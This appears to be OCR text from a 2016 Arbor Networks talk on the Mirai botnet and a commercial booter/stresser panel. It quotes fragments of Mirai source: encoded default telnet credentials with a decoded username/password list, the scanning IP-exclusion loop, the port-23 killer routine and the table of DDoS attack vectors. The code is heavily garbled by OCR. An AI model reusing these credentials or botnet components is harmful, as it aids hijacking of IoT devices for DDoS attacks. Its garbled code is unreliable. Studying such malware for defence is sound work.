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Mirai Bot

Port 23/2323 Scan  Port23/2323HW MU\ TWLDT /1 X Z ke
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f/ Set up passwords

add_auth_entry({"\x58\x4D\x4D\x56",
add_auth_entry("\x58\x4D\x4D\x56",
add_auth_entry({"\x58\x4D\x4D\x56",

Mirai Bot Y —XJ—RK

"\x5A\x414x11\x17\x13\x13", 18);
"\ x54\x4B\x584x5A\x54", 9);
"\x43\x46\x4F\ x4B\x4C", B);

add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);

add_auth_entry("\x58\x4D\x4D\x56",
add_auth_entry("\x58\x4D\x4D\x56",
add_auth_entry("\x50\x4D\x4D\x56",
add_auth_entry("\x58'\x4D\x4D\x56",
add_auth_entry({"\x58\x4D\x4D\x56",
add_auth_entry("\x56%x4D'\x4D\x56",

add_auth_entry (" \x51\x57\x52\x52\x4D \ x58\ x56™,

add_auth_entry({"\x58\x4D\x4D\x56",

add_auth_entry (" \x43\x46 \ x4F\x4B W xAC" , "\ w52\ x43\x51\x51\x55x4D\x58 \x46", 4);

"V lANKIANXIANxIANXLANKIAY, B);
"\xGA\XAF\ x4A\x46 \xAB\x52 \x41", 5);
"\x46\x47 \x44\x43\X57 \x4E\x56", 5);

"\ x48\x57\x43\x4C\x56\x47\x41\x4A", 5);

"Yx134%x18%x11\x164x17\x14", 5);
"hal7h\xl6N\x11h\x1le\x13", 5);

"ll: 4];

"AKELWKET\KE2\ K52\ k4D \ x5\ X56", B);

//
/
I
f!
!/
/
/
/i
//
i
I/
//
i

root
root
root
admin
root
root
root
root
root
root
support
root

admin

®Cc3511
vizxv
admin
admin
8BEEBE
xmhdipc
default
juantech
123456
54321
support
{(none)

password
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Mirai Bot

W = R LR S L5 I WAL
Iy
while (o0l == 127 ||
(01 == 8) |
(01 == 3) ||
{ol == 15 || o1 == 18) ||
{01 == 56) ||
(o1 == 1@) ||
{01 == 192 %& 02 == 168) ||
{0l == 172 && 02 »= 16 &8 02 < 32) ||
(01 == 100 & o2 >= 64 &8 02 < 127) ||
{0l == 159 && o2 » 254) ||
{01 == 198 && o2 »>= 18 &% 02 < 28) ||
{0l »= 224) ||
(ol ==

)i

6 || o1 ==7 || 01 == 11 || ol == 21 || ol == 22 || ol

return INET_ADDR(o0l,02,03,04);
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V—X1—R

127.8.8.8/8
@.8.8.8/8
3.8.8.8/8
15.8.8.8/7
56.8.8.8/8
l2.9.8.8/8
192.168.8.8/16
172.16.8.8/14
leg.ed.8.8/18
169.254.8.8/16
198.18.8.8/15
224 % F Fy

Loopback

Invalid address space
General Electric Company
Hewlett-Packard Company
US Postal Service
Internal network
Internal network
Internal network

IANA NAT reserved

IANA NAT reserved

IANA Special use
Multicast

== 26 || o1l == 28 || ol == 29 || ol == 38 || ol == 33 || ol == 55 |
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#ifdef KILLER_REBIND_TELMET
#ifdef DEBUG
printf({"[killer] Trying to kill port 23\n");
#Fendif
if (killer kill by port{htons{23))})
1
#ifdef DEBUG
printf("[killer] Killed tcp/23 (telnet)\n™);
#Fendif
} else {
#ifdef DEBUG
printf("[killer] Failed to kill port 23.n");
#Fendif

h
tmp_bind_addr.sin_port = htons(23);

if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 8)) != -1)
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Mirai Bot Y—XJ—R

add_attack(ATK_WEC _UDP, (ATTACK FUMNC)attack udp_generic);

add_attack(ATK_WEC VWS5E, (ATTACK _FUNC)attack udp wvse);

add_attack(ATK_VEC_DNS, (ATTACK FUNC)attack udp _dns);
add_attack(ATK_VEC_UDP_PLAIN, (ATTACK FUNC)attack udp plain);

add_attack(ATK_WEC_SYN, (ATTACK _FUNC)attack tcp_syn);
add_attack(ATK_WEC_ACK, (ATTACK FUNC)attack tcp_ack);
add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack tcp_stomp);

add_attack(ATK_WEC GREIP, (ATTACK _FUNC)attack gre_ip);
add_attack(ATK_VEC_GREETH, (ATTACK FUNC)attack gre eth);

ffadd_attack (ATK_WEC PROXY, (ATTACK _FUNC)attack app proxy);
add_attack(ATK_WEC _HTTP, (ATTACK _FUNC)attack app_http);
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Mirai Bot
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Booter/Stresser

4 vdos-s.com

Nethod ! @SSOP 8  @SOP @ ONTP @  @ESSH O

Wide this atteck from the RUNNING BOOTS PAGE : ONo @Yes

& REMIND:M KING WILL GET YOU BA

Skype resolver:

Logged as:hax

Account type: Admin Host To IP:
Your boots: 269
Account status: Active
Account expire date: Never
Account max boottime: 1337
Concurrent attacks: 1337

Ping Host:

Cloudflare resolver:

Press enter for resolve or boot

Your running boot(s):

Target

69.31.20.35:80

ARBOR

o 0

Method

100 Seconds

11:18:52 PM
11:18:56 PM

ot

36.59 Gb/s

Time Left

21.25 Gbis

65 seconds

fmonth

bps total

Resolvers & T

7 Dedicated Supy

Order Now

Our Pricing

Bronze Lifetime Business Lifetime

90.00<

lifetime

22.00€

Lifetime

1 Concu

onds boot time ! ds boot time
1200 seconds b n 3600 seconds boot time

Ghps total network cay 125Ghps total network capacity

125Gbps Lotal ne 125Ghps total nef

Resolv
Resolvers & Te Resolvers

; . Support _ .
24/7 Dedicated Support Dedicated Suppor

« y rde 4
Order Now JE—— O Order Now

© Arbor Networks 2016



Thank You

tsasaki@arbor.net

NNNNNNNN
The Security Division of NETSCOUT




